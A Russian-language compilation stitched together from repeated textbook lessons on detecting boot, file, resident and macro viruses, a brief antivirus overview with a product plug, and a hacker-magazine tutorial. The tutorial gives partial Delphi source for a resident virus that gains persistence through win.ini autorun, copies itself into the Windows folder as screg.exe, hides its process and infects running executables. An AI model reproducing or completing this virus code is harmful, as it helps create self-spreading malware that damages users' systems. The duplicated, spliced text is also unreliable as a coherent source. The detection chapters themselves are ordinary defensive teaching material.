Как обнаружить резидентный вирус
Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из "стелс"-вирусов.
Обнаружение резидентного Windows-вируса является крайне сложной задачей. Вирус, находясь в среде Windows как приложение или VxD-двайвер, практически невидим, поскольку одновременно активны несколько десятков приложений и VxD, и вирус по внешним признакам от них ничем не отличается. Для того чтобы обнаружить программу-вирус в списках активных приложений и VxD, необходимо разбираться во всех тонкостях Windows и иметь полное представление о драйверах и приложениях, установленных на данном компьютере, поэтому приемлемый способ обнаружить резидентный Windows-вирус – загрузить DOS и проверить запускаемые файлы Windows.
Обнаружение макровируса
Характерными проявлениями макровирусов являются:
· Word: невозможность конвертирования зараженного документа Word в другой формат.
· Word: зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template.
· Excel/Word: в STARTUP (Автозагрузка)-каталоге присутствуют "посторонние" файлы.
· Excel: наличие в Книге (Book) лишних и скрытых Листов (Sheets)..
Для проверки системы на предмет наличия вируса можно использовать пункт меню Сервис/макрос. Если обнаружены "чужие макросы", то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые запрещают работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.
Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего Word/Excel выдают сообщения об ошибке.
Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы.
Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню, разрешают или запрещают некоторые функции, устанавливают на файлы пароль при их заражении. Большое количество вирусов создает новые секции и/или опции в файле конфигурации Windows (WIN. INI).
Естественно, что к проявлениям вируса относятся такие очевидные факты, как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.
Общий алгоритм обнаружения вируса
При анализе алгоритма вируса необходимо выяснить:
· способ(ы) размножения вируса;
· характер возможных повреждений, которые вирус нанес информации, хранящейся на дисках;
· метод лечения оперативной памяти и зараженных файлов (секторов).
При анализе файлового вируса необходимо выяснить, какие файлы (COM, EXE, SYS) поражаются вирусом, в какое место (места) в файле записывается код вируса - в начало, конец или середину файла, в каком объеме возможно восстановление файла (полностью или частично), в каком месте вирус хранит восстанавливаемую информацию.
При анализе загрузочного вируса основной задачей является выяснение адреса (адресов) сектора, в котором вирус сохраняет первоначальный загрузочный сектор.
Для резидентного вируса требуется также выделить участок кода, создающий резидентную копию вируса. Необходимо также определить, каким образом и где в оперативной памяти вирус выделяет место для своей резидентной копии.
Для анализа макровирусов необходимо получить текст их макросов. Для нешифрованных ("не-стелс") вирусов это достигается при помощи меню Сервис/Макрос. Если же вирус шифрует свои макросы или использует "стелс"-приемы, то необходимо воспользоваться специальными утилитами просмотра макросов. Такие специализированные утилиты есть практически у каждой фирмы-производителя антивирусов, однако, они являются утилитами "внутреннего пользования" и не распространяются за пределы фирм.
В любом случае, если есть возможность, правильнее всего передавать зараженные файлы специалистам антивирусных лабораторий.
Выводы по теме
1. Некоторые загрузочные вирусы практически сразу можно обнаружить по наличию различных текстовых строк выводимых на экран при активизации вируса.
2. Отсутствие или изменение строки-заголовка boot-сектора (строка, название фирмы-производителя программного обеспечения) также может служить сигналом о заражении вирусом.
3. Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из "стелс"-вирусов.
4. Обнаружить резидентный Windows-вирус можно, если загрузить DOS и проверить запускаемые файлы Windows.
5. Для проверки системы на предмет наличия вируса можно использовать пункт меню Сервис/макрос, если обнаружены неизвестные макросы, то они могут принадлежать вирусу.
6. Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows.
7. При анализе алгоритма вируса необходимо выяснить: способ(ы) размножения вируса, характер возможных повреждений, которые вирус нанес информации, хранящейся на дисках, метод лечения оперативной памяти и зараженных файлов (секторов).
Вопросы для самоконтроля
1. Как обнаружить загрузочный вирус?
2. Как обнаружить резидентный вирус?
3. Характерные черты макровируса.
4. Как проверить систему на наличие макровируса?
5. Является ли наличие скрытых листов в Excel признаком заражения макровирусом?
6. Перечислите основные этапы алгоритма обнаружения вируса.
Обнаружение неизвестного вируса
Цели изучения темы
изучить характерные черты неизвестных вирусов и методики их обнаружения.
Требования к знаниям и умениям
Студент должен знать:
общий алгоритм обнаружения неизвестного вируса.
Студент должен уметь:
проверить систему на наличие макровируса.
Ключевой термин: неизвестный вирус.
общий алгоритм обнаружения вируса.
Структурная схема терминов
В этой теме рассмотрим ситуации, с которыми может столкнуться пользователь в том случае, если он подозревает, что его компьютер поражен вирусом, но ни одна из известных антивирусных программ не дает положительного результата.
В загрузочных секторах дисков расположены, как правило, небольшие программы, назначение которых состоит в определении размеров и границ логических дисков (для MBR винчестера) или загрузке операционной системы (для boot-сектора).
В начале следует прочитать содержимое сектора, подозрительного на наличие вируса. Для этой цели удобно использовать DISKEDIT из "Нортоновских утилит". Некоторые загрузочные вирусы практически сразу можно обнаружить по наличию различных текстовых строк выводимых на экран при активизации вируса. Другие вирусы, поражающие boot-секторы дисков, наоборот, определяются по отсутствию строк, которые обязательно должны присутствовать в boot-секторе. К таким строкам относятся имена системных файлов и строки сообщений об ошибках. Отсутствие или изменение строки-заголовка boot-сектора (строка, название фирмы-производителя программного обеспечения) также может служить сигналом о заражении вирусом.
Однако существуют вирусы, которые внедряются в загрузчик без изменения его текстовых строк и с минимальными изменениями кода загрузчика. Для того чтобы обнаружить такой вирус, в большинстве случаев достаточно отформатировать дискету на заведомо незараженном компьютере, сохранить в виде файла ее boot-сектор, затем некоторое время использовать ее на зараженном компьютере (записать/прочитать несколько файлов), а после этого на незараженном компьютере сравнить ее boot-сектор с оригинальным. Если в коде загрузочного сектора произошли изменения – вирус обнаружен.
Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из "стелс"-вирусов.
Обнаружение резидентного Windows-вируса является крайне сложной задачей. Вирус, находясь в среде Windows как приложение или VxD-двайвер, практически невидим, поскольку одновременно активны несколько десятков приложений и VxD, и вирус по внешним признакам от них ничем не отличается. Для того чтобы обнаружить программу-вирус в списках активных приложений и VxD, необходимо разбираться во всех тонкостях Windows и иметь полное представление о драйверах и приложениях, установленных на данном компьютере, поэтому приемлемый способ обнаружить резидентный Windows-вирус – загрузить DOS и проверить запускаемые файлы Windows.
Характерными проявлениями макровирусов являются:
Word: невозможность конвертирования зараженного документа Word в другой формат.
Word: зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template.
Excel/Word: в STARTUP (Автозагрузка)-каталоге присутствуют "посторонние" файлы.
Excel: наличие в Книге (Book) лишних и скрытых Листов (Sheets)..
Для проверки системы на предмет наличия вируса можно использовать пункт меню Сервис/макрос. Если обнаружены "чужие макросы", то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые запрещают работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.
Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего Word/Excel выдают сообщения об ошибке.
Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы.
Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню, разрешают или запрещают некоторые функции, устанавливают на файлы пароль при их заражении. Большое количество вирусов создает новые секции и/или опции в файле конфигурации Windows (WIN. INI).
Естественно, что к проявлениям вируса относятся такие очевидные факты, как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.
При анализе алгоритма вируса необходимо выяснить:
способ(ы) размножения вируса;
характер возможных повреждений, которые вирус нанес информации, хранящейся на дисках;
метод лечения оперативной памяти и зараженных файлов (секторов).
При анализе файлового вируса необходимо выяснить, какие файлы (COM, EXE, SYS) поражаются вирусом, в какое место (места) в файле записывается код вируса - в начало, конец или середину файла, в каком объеме возможно восстановление файла (полностью или частично), в каком месте вирус хранит восстанавливаемую информацию.
При анализе загрузочного вируса основной задачей является выяснение адреса (адресов) сектора, в котором вирус сохраняет первоначальный загрузочный сектор.
Для резидентного вируса требуется также выделить участок кода, создающий резидентную копию вируса. Необходимо также определить, каким образом и где в оперативной памяти вирус выделяет место для своей резидентной копии.
Для анализа макровирусов необходимо получить текст их макросов. Для нешифрованных ("не-стелс") вирусов это достигается при помощи меню Сервис/Макрос. Если же вирус шифрует свои макросы или использует "стелс"-приемы, то необходимо воспользоваться специальными утилитами просмотра макросов. Такие специализированные утилиты есть практически у каждой фирмы-производителя антивирусов, однако, они являются утилитами "внутреннего пользования" и не распространяются за пределы фирм.
В любом случае, если есть возможность, правильнее всего передавать зараженные файлы специалистам антивирусных лабораторий.
Некоторые загрузочные вирусы практически сразу можно обнаружить по наличию различных текстовых строк выводимых на экран при активизации вируса.
Отсутствие или изменение строки-заголовка boot-сектора (строка, название фирмы-производителя программного обеспечения) также может служить сигналом о заражении вирусом.
Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из "стелс"-вирусов.
Обнаружить резидентный Windows-вирус можно, если загрузить DOS и проверить запускаемые файлы Windows.
Для проверки системы на предмет наличия вируса можно использовать пункт меню Сервис/макрос, если обнаружены неизвестные макросы, то они могут принадлежать вирусу.
Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows.
При анализе алгоритма вируса необходимо выяснить: способ(ы) размножения вируса, характер возможных повреждений, которые вирус нанес информации, хранящейся на дисках, метод лечения оперативной памяти и зараженных файлов (секторов).
Как обнаружить загрузочный вирус?
Как обнаружить резидентный вирус?
Характерные черты макровируса.
Как проверить систему на наличие макровируса?
Является ли наличие скрытых листов в Excel признаком заражения макровирусом?
Перечислите основные этапы алгоритма обнаружения вируса.
Касперский Е. Компьютерные вирусы в MS-DOS. – М.: Эдель, 1992.
Касперский Е. Компьютерные вирусы, 2003. – Электронная энциклопедия. – Режим доступа к энциклопедии: www.viruslist.com/viruslistbooks.html.
Щербаков А. Ю. Введение в теорию и практику компьютерной безо-пасности. – М.: Издательство Молгачева С. В., 2001.
Фролов А. В., Фролов Г. В. Осторожно: компьютерные вирусы. – М.: ДИАЛОГ-МИФИ, 1996.
Галатенко В. А. Основы информационной безопасности. – М: Интернет-Университет Информационных Технологий – ИНТУИТ. РУ, 2003.
Обнаружение резидентного вируса
Обнаружение загрузочного вируса
В загрузочных секторах дисков расположены, как правило, небольшие программы, назначение которых состоит в определении размеров и границ логических дисков (для MBR винчестера) или загрузке операционной системы (для boot-сектора).
В начале следует прочитать содержимое сектора, подозрительного на наличие вируса. Для этой цели удобно использовать DISKEDIT из "Нортоновских утилит". Некоторые загрузочные вирусы практически сразу можно обнаружить по наличию различных текстовых строк выводимых на экран при активизации вируса. Другие вирусы, поражающие boot-секторы дисков, наоборот, определяются по отсутствию строк, которые обязательно должны присутствовать в boot-секторе. К таким строкам относятся имена системных файлов и строки сообщений об ошибках. Отсутствие или изменение строки-заголовка boot-сектора (строка, название фирмы-производителя программного обеспечения) также может служить сигналом о заражении вирусом.
Однако существуют вирусы, которые внедряются в загрузчик без изменения его текстовых строк и с минимальными изменениями кода загрузчика. Для того чтобы обнаружить такой вирус, в большинстве случаев достаточно отформатировать дискету на заведомо незараженном компьютере, сохранить в виде файла ее boot-сектор, затем некоторое время использовать ее на зараженном компьютере (записать/прочитать несколько файлов), а после этого на незараженном компьютере сравнить ее boot-сектор с оригинальным. Если в коде загрузочного сектора произошли изменения – вирус обнаружен.
Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из "стелс"-вирусов.
Обнаружение резидентного Windows-вируса является крайне сложной задачей. Вирус, находясь в среде Windows как приложение или VxD-двайвер, практически невидим, поскольку одновременно активны несколько десятков приложений и VxD, и вирус по внешним признакам от них ничем не отличается. Для того чтобы обнаружить программу-вирус в списках активных приложений и VxD, необходимо разбираться во всех тонкостях Windows и иметь полное представление о драйверах и приложениях, установленных на данном компьютере, поэтому приемлемый способ обнаружить резидентный Windows-вирус – загрузить DOS и проверить запускаемые файлы Windows.
Характерными проявлениями макровирусов являются:
· Word: невозможность конвертирования зараженного документа Word в другой формат.
· Word: зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template.
· Excel/Word: в STARTUP (Автозагрузка)-каталоге присутствуют "посторонние" файлы.
· Excel: наличие в Книге (Book) лишних и скрытых Листов (Sheets)..
Для проверки системы на предмет наличия вируса можно использовать пункт меню Сервис/макрос. Если обнаружены "чужие макросы", то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые запрещают работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.
Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего Word/Excel выдают сообщения об ошибке.
Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы.
Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню, разрешают или запрещают некоторые функции, устанавливают на файлы пароль при их заражении. Большое количество вирусов создает новые секции и/или опции в файле конфигурации Windows (WIN. INI).
Естественно, что к проявлениям вируса относятся такие очевидные факты, как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.
Антивирусная программа предназначена для обнаружения и обезвреживания угроз безопасности. Интересно, что в процессе эволюции антивирусы совершенствовали методы обнаружения: от определения вредоносов по сигнатурам до эвристического анализа и выявления подозрительного поведения.
Антивирусы делятся на сканеры и резидентные модули. Сканеры находят файлы на дисках, читают их и делают вывод об инфицировании вирусом. Резидентные антивирусы постоянно работают в оперативной памяти и проверяют каждый новый файл и программу на заражение вирусом. При таком подходе расходуются ресурсы компьютера: процессор и оперативная память. Именно из-за этого некоторые пользователи не любят антивирусы, не хотят собственноручно замедлять работу компьютера. Но работать без антивируса сегодня небезопасно, так можно делать только в случае полной уверенности в своих действиях и посещаемых ресурсах в интернете.
Методы обнаружения вредоносного ПО
В самом простом случае используется определение по сигнатурам. Сигнатура – это кусок кода вируса, который не изменяется. Базы данных антивирусов содержат именно сигнатуры известных вирусов. Простое сравнение программного кода по базе сигнатур 100% позволяет определить есть вирус или нет. Но и вирусы не стоят на месте, они используют полиморфные алгоритмы, с помощью которых сигнатура меняется. Также создаются новые вирусы, которые невозможно определить по имеющимся базам.
Следующим методом стал эвристический анализ, который более интеллектуально подходит к обнаружению угроз. Эвристический анализатор выявляет паттерны, т.е. закономерности поведения вирусов и таким образом может определить угрозу ещё до того, как станет известна её сигнатура. Так, например, под особым контролем программы, которые создают резидентные модули в памяти, напрямую обращаются к файловой системе или к загрузочным секторам, перехватывают программные и аппаратные прерывания, изменяют исполняемые (.exe) файлы.
Какие угрозы обнаруживаются антивирусами
Стоит отметить, что на самом деле вирус и вредоносная программа, это немного разные определения. Вредоносное ПО – это любой программный код, цель которого нанести вред или ущерб компьютеру, операционной системе или лично человеку, похитив конфиденциальные данные (пароли, данные кредитных карт, деньги с электронных кошельков). Вирус же способен самореплицироваться, т.е. самостоятельно распространяться, заражая другие программы и компьютеры. Пользователю нужно запустить вирус или инфицированную программу, чтобы он начал вредить.
Червь, в отличии от вируса, существует самостоятельно, не заражая другие файлы. Для заражения червём не требуется запуск заражённой программы или посещение инфицированного сайта. Червь использует сетевые уязвимости и эксплоиты операционки Windows. Эксплоит (exploit) – это код, последовательность команд, которая использует обнаруженную хакером брешь в системе безопасности, например ошибку при переполнении буфера, которая позволяет выполнить любой код.
Поэтому червь пролазит в компьютер сам, и затем дальше ищет другие уязвимости в сетях, к которым подключён компьютер. Червь может выполнять любые злонамеренные действия: кража паролей, шифрование файлов, нарушение работы ОС, перезагружать компьютер и т.д.
- Получают доступ к ядру ОС
- Изменяют системные файлы
- Маскируются под системные процессы
- Загружаются до запуска операционной системы
- Работают в теневом режиме
Всё это осложняет обнаружение и удаление руткитов.
Spyware – шпионские программы, которые следят за активностью пользователя в сети, запоминают нажатия клавиш, находят данные карт, кошельков, документы и передают их хакеру.
Adware – рекламное ПО, показывает рекламу в всплывающих окнах. Adware (ad, реклама) может долго оставаться незамеченным, внедряя рекламные баннеры на посещаемые сайты или заменяя имеющуюся рекламу на свою. Переход по рекламным ссылкам может повлечь заражение трояном или руткитом.
Ransomware – это вымогатели, которые шифруют личные и рабочие документы на дисках. Вымогатель требует выкуп за получение ключа расшифровки. Как правило, выкуп просят в биткоинах, но никакого ключа расшифровки не существует. Лечения от вымогателя не существует, данные теряются навсегда.
Следуйте правилам безопасности, работая за компьютером и в интернете, используйте антивирусное ПО, например Total AV.
Привет, друг мой. Судя по письмам наших уважаемых телезрителей, народ
жаждет продолжения. В лице описания работы какого-нибудь злобного и высококонтагиозного вируса. Ну что ж, наш журнал всегда готов удовлетворить самые
изощренные фантазии читателей 🙂 Запасись пивом и сухарями, потому что без них тебе будет
сложно вникнуть в тонкости 🙂
Кодить мы с тобой будем резидентный вирус. Принцип его работы будет иметь мало общего с описанным мной в
прошлой статье (и с типичными образцами жанра), поэтому читай внимательнее. Во-первых при первом запуске на чьей-то машине наш вирус будет писать себя в автозагрузку (с помощью win.ini ;)), и запускаясь таким образом с каждым стартом windows, висеть в оперативке весь сеанс работы, проверяя запуск юзером нужных нам файлов. А как ты помнишь, нужный файл это любой исполнимый, но еще нами не зараженный 😉 Эту ситуацию мы исправим, заразив его.
Естественно, копия вируса в памяти не будет светиться по Ctrl-Alt-De- это уже традиция, мне даже как-то неудобно об этом говорить 🙂 Копия же вируса, запущенная из зараженного файла, не будет делать ничего, кроме запуска зараженной проги (процедур заражения и восстановления файла в этой статье я касаться не буду, поскольку описывал их в прошлый раз).
КОДИНГ
Делай, как всегда, project--> source, киляй окно формы, и мы начнем работать с таким вот DPRом:
<$D->
<$I->
program RESIDEND;
begin
end;
Ну вот, почти чистый лист, а у некоторых читателей уже может возникнуть вопрос: че это за ключи я объявил первыми двумя строчками. Да легко
- ключ <$D->запрещает компилятору включать в код отладочную информацию (размер кода имеет значение ;)), а <$I->- запрещает контроль ошибок ввода-вывода. Таким образом, при возникновении IO ошибки мы словим не радостное красное окно "CONGRAULATIONS! DAS IS GLUK! FILE NOT FOUND. " :), а всего лишь изменение переменной IOResult. Да, еще
- можешь сначала писать вирь, имеющий свое окно 🙂 Тогда ты сможешь выводить лог его работы в какой-нибудь ListBox, а когда все будет пинцетно
- преобразуешь его в чистый вид. Идем дальше, объяви для себя переменные:
My: File;
PerfectCopy,WorkComplete: boolean;
st,pres: string;
win: TIniFile;
virpath: string;
windir: array [0..255] of char;
Wnd : hWnd;
CONsT Virlen: longint= 1000000000;
Во как 🙂 Это оказалось даже проще, чем ты ожидал 🙂 Разберемся:
My - наш зараженный файл, откуда мы, может быть, стартовали.
Wnd - дескриптор окна приложения, которое в данный момент запущено.
PerfectCopy- если она равна TRUE, значит либо ты запустил только что откомпилированный вирус, либо вирус в чистом виде стартанул из автозагрузки. В любом случае, нам не надо ничего восстанавливать и запускать, надо только сидеть и заражать. Вот и глянь, как ЭТО надо делать:
procedure WorkMemory;
begin
While WorkComplete=FALSE do
begin
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN
IF (Wnd <> Application.Handle) AND
(GetWindow(Wnd, gw_Owner) = 0)
THEN INFECTFILES;
end;
Тут все, я думаю, ясно - до тех пор, пока это надо (как только станет не надо, в процедуре InfectFiles вставишь WorkComplet= TRUE) мы получаем список запущенных приложений и ловим хэндл главного окна. Остается только заразить файл, чье главное окно мы так круто словили. Для заражения тебе придется либо работать с запущенным файлом (для этого юзай функции API, поскольку с их помощью можно разрешить чужим потокам писать в файл), или жди завершения работы проги-кандидата. Ой, нет, я кажется, гоню. Проблема в том, что эти строки я пишу во время ночного дежурства в больнице, на служебном компе в редакторе Dos Navigatorа 🙂 Так что не гнать я не могу 😉 Ну,
в общем, ты можешь файл-кандидат засунуть в оперативку:
var Memory : TMemoryStream;
begin
Memory := TMemoryStream.Create;
try
Memory.LoadFromFile(жертва);
..
Memory.Read(. );
Memory.Write (. )
Memory.Seek(. );
FileSize := Memory.Size;
..
finally
Memory.Free;
end;
end;
И там производить действия, не боясь ошибок. А потом готовенький файл записать на диск командой SaveToFile.
Да, еще - проверку на application.handle надо делать только если ты пишешь вирус с окном. Т.е. в дебуг-версии 🙂
Затем, для полноценной работы, тебе еще нужны будут процедуры INFECTFILE и CUREANDWORK- первая будет заражать найденный файл , а вторая, соответственно, восстанавливать зараженный файл и запускать его. Эти процедуры ты напишешь уже сам, ориентируясь на пример из статьи "HLLP вирус своими руками". А мы давай посмотрим, как должна выглядеть рабочая версия вируса::
<$D->
<$I->
program RES;
USES windows,inifiles;
var
//Объявляешь переменные
//Модуль процедур
procedure INFECTFILE;
begin
end;
procedure CUREANDWORK;
begin
end;
procedure WorkMemory;
begin
end;
//КОНЕЦ МОДУЛЯ ПРОЦЕДУР, НАЧАЛО ОСНОВНОГО КОДА
begin
WorkComplete:=FALSE;
GetWindowsDirectory (windir,255);
virpath:= windir+'\screg.exe';
Win:= TIniFile.Create('win.ini'); //Поглядим в win.ini
Win.ReadString ('windows','run',pres);
IF pres<> virpath then win.WriteString('windows','run',virpath); //Ах, не мы?? Теперь мы 🙂
Win.Free; //Сохраняем
end.
AssignFile (My,ParamStr(0));
If FileSize(My)=VirLen then
begin
PerfectCopy:= TRUE;
end else CureAndWork;
IF (PerfectCopy= true) AND (ParamStr(0)<>'screg.exe') then
//К виндам
begin
st:= paramstr(0);
St:= st+#0; virpath:= virpath+#0;
CopyFile (@st[1],@virpath[1],false);
//Все, теперь мы есть 🙂
WorkMemory;
end;
IF ParamStr(0)= 'scres.exe' the WorkMemory;
Не просто, а очень просто 🙂 Даже не хочется ничего объяснять, чесслово! Да ладно, шучу я. Логика основной части такова: получаем путь к виндам, смотрим нет ли еще нашей базовой части в автозагрузке (почему я люблю автозагрузку из win.ini? Да потому что в RUN реестра пишутся все, кому не лень, и умные юзеры туда иногда смотрят 🙂 Да и наш код получился бы слишком тяжелым), если нет
- то записываемся и переносим себя в папку 🙂 к виндам под именем screg.exe- это и будет наш резидентный модуль. Вот и все, процедуру заражения дописывай по своему вкусу
- не забудь только, когда будешь восстанавливать зараженную программу проверить
- есть ли резидентная часть в автозагрузке. Если нет
- ты знаешь, что делать. Опс, я опять забыл- про невидимость. Ведь если юзер нажмет на три клавиши, то сильно удивится наличию посторонней проги. Да и кнопка на панели задач может возбудить его подозрения.
В общем, в модуле функций- вставляй
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';
В начале основной части-
Так, я пойду отдохну, а ты читай заключение и жди следующей статьи.
Ну вот, ты уже в состоянии закодить резидентный вирус. Конечно, резидентным его можно назвать с сильной натяжкой, но все-таки он работает. Да, во избежание тормозов не выясняй список запущенных приложений постоянно. Лучше каждую секунду. Так мы не будем заметны. Ладно, спокойной ночи- в следующий раз я напишу тебе про интернет вирус.
Размещение сквозной ссылки
Обнаружение неизвестного вируса
В этом разделе рассматриваются ситуации, с которыми может столкнуться пользователь в том случае, если он подозревает, что его компьютер поражен вирусом, но ни одна из известных ему антивирусных программ не дала положительного результата. Где и как искать вирус? Какие при этом необходимы инструментальные средства, какими методами следует пользоваться и каким правилам следовать?
Самое первое правило — не паниковать. Ни к чему хорошему это не приведет. Вы — не первый и не последний, чей компьютер оказался зараженным, к тому же не каждый сбой компьютера является проявлением вируса. Поэтому почаще вспоминайте поговорку — “Не так страшен черт, как его малюют”. К тому же поражение вирусом не самое плохое, что может случиться с компьютером.
Не следует звонить в антивирусные фирмы с вопросом: “Наверное, у меня в компьютере вирус. Что мне делать?”. Помочь вам не смогут, поскольку для удаления вируса требуется несколько больше информации. Для того чтобы антивирусная фирма могла оказать реальную помощь, на ее адрес следует выслать образец вируса — зараженный файл в случае файлового вируса или зараженную дискету (или ее файл-образ) в случае загрузочного вируса. Каким образом обнаруживаются зараженные файлы/диски, будет рассказано ниже.
Не забывайте перед использованием антивирусных программ и утилит загрузить компьютер с резервной копии DOS, расположенной на заведомо чистой от вирусов и защищенной от записи дискете, и в дальнейшем использовать программы только с дискет. Это необходимо для того, чтобы застраховаться от резидентного вируса, так как он может блокировать работу программ или использовать их работу для инфицирования проверяемых файлов/дисков. Более того, существует большое количество вирусов, уничтожающих данные на диске, если они “подозревают”, что их код может быть обнаружен. Конечно же, это требование никак не относится к макро-вирусам и к дискам, размеченным одним из новых форматов (NTFS, HPFS), — после загрузки DOS такой винчестер окажется недоступным для DOS-программ.
Обнаружение загрузочного вируса
В загрузочных секторах дисков расположены, как правило, небольшие программы, назначение которых состоит в определении размеров и границ логических дисков (для MBR винчестера) или загрузке операционной системы (для boot-сектора).
В начале следует прочитать содержимое сектора, подозрительного на наличие вируса. Для этой цели удобно использовать DISKEDIT из “Нортоновских утилит” или AVPUTIL из профессионального комплекта AVP.
Некоторые загрузочные вирусы практически сразу можно обнаружить по наличию различных текстовых строк (например, вирус “Stoned” содержит строки: “Your PC is now Stoned!”, “LEGALISE MARIJUANA!”). Некоторые вирусы, поражающие boot-секторы дисков, наоборот, определяются по отсутствию строк, которые обязательно должны присутствовать в boot-секторе. К таким строкам относятся имена системных файлов (например, строка “IO SYSMSDOS SYS”) и строки сообщений об ошибках. Отсутствие или изменение строки-заголовка boot-сектора (строка, содержащая номер версии DOS или название фирмы-производителя программного обеспечения, например, “MSDOS5.0” или “MSWIN4.0”) также может служить сигналом о заражении вирусом, если на компьютере не установлена Windows95/NT — эти системы по неизвестной мне причине записывают в заголовок загрузочных секторов дискет случайные строки текста.
Стандартный загрузчик MS-DOS, расположенный в MBR, занимает меньше половины сектора, и многие вирусы, поражающие MBR винчестера, довольно просто заметить по увеличению длины кода, расположенного в секторе MBR.
Однако существуют вирусы, которые внедряются в загрузчик без изменения его текстовых строк и с минимальными изменениями кода загрузчика. Для того чтобы обнаружить такой вирус, в большинстве случаев достаточно отформатировать дискету на заведомо незараженном компьютере, сохранить в виде файла ее boot-сектор, затем некоторое время использовать ее на зараженном компьютере (записать/прочитать несколько файлов), а после этого на незараженном компьютере сравнить ее boot-сектор с оригинальным. Если в коде загрузочного сектора произошли изменения — вирус пойман.
Существуют также вирусы, использующие более сложные приемы заражения, например, изменяющие при инфицировании MBR всего 3 байта Disk Partition Table, соответствующие адресу активного загрузочного сектора. Для идентификации такого вируса придется провести более детальное исследование кодов загрузочного сектора вплоть до полного анализа алгоритма работы его кода.
Приведенные рассуждения основываются на том, что стандартные загрузчики (программы, записываемые операционной системой в загрузочные сектора) реализуют стандартные алгоритмы загрузки операционной системы и оформляются в соответствии с ее стандартами. Если же диски отформатированы утилитами, не входящими в состав DOS (например, Disk Manager), то для обнаружения в них вируса следует проанализировать алгоритм работы и оформление загрузчиков, создаваемых такой утилитой.
Обнаружение файлового вируса
Как отмечалось, вирусы делятся на резидентные и нерезидентные. Встречавшиеся до сих пор резидентные вирусы отличались гораздо большим коварством и изощренностью, чем нерезидентные. Поэтому для начала рассмотрим простейший случай — поражение компьютера неизвестным нерезидентным вирусом. Такой вирус активизируется при запуске какой-либо зараженной программы, совершает все, что ему положено, передает управление программе-носителю и в дальнейшем (в отличие от резидентных вирусов) не будет мешать ее работе. Для обнаружения такого вируса необходимо сравнить длины файлов на винчестере и в дистрибутивных копиях (упоминание о важности хранения таких копий уже стало банальностью). Если это не поможет, то следует побайтно сравнить дистрибутивные копии с используемыми программами. В настоящее время разработано достаточно много утилит такого сравнения файлов, самая простейшая из них (утилита COMP) содержится в DOS.
Можно также просмотреть дамп выполняемых файлов. В некоторых случаях можно сразу обнаружить присутствие вируса по наличию в его коде текстовых строк. Многие вирусы, например, содержат строки: “.COM”, “*.COM”, “.EXE”, “*.EXE”, “*.*”, “MZ”, “COMMAND” и т.д. Эти строки часто встречаются в начале или в конце зараженных файлов.
Существует и еще один способ визуального определения зараженного вирусом DOS-файла. Он основан на том, что выполняемые файлы, исходный текст которых написан на языке высокого уровня, имеют вполне определенную структуру. В случае Borland или Microsoft C/C++ сегмент кода программы находится в начале файла, а сразу за ним — сегмент данных, причем в начале этого сегмента стоит строка-копирайт фирмы-изготовителя компилятора. Если в дампе такого файла за сегментом данных следует еще один участок кода, то вполне вероятно, что файл заражен вирусом.
То же справедливо и для большинства вирусов, заражающих файлы Windows и OS/2. В выполняемых файлах этих ОС стандартным является размещение сегментов в следующем порядке: сегмент(ы) кода, за которыми следуют сегменты данных. Если за сегментом данных идет еще один сегмент кода, это также может служить сигналом о присутствии вируса.
Пользователям, знакомым с языком Ассемблер, можно попробовать разобраться в кодах подозрительных программ. Для быстрого просмотра лучше всего подходит HIEW (Hacker's View) или AVPUTIL. Для более подробного изучения потребуется дизассемблер — Sourcer или IDA.
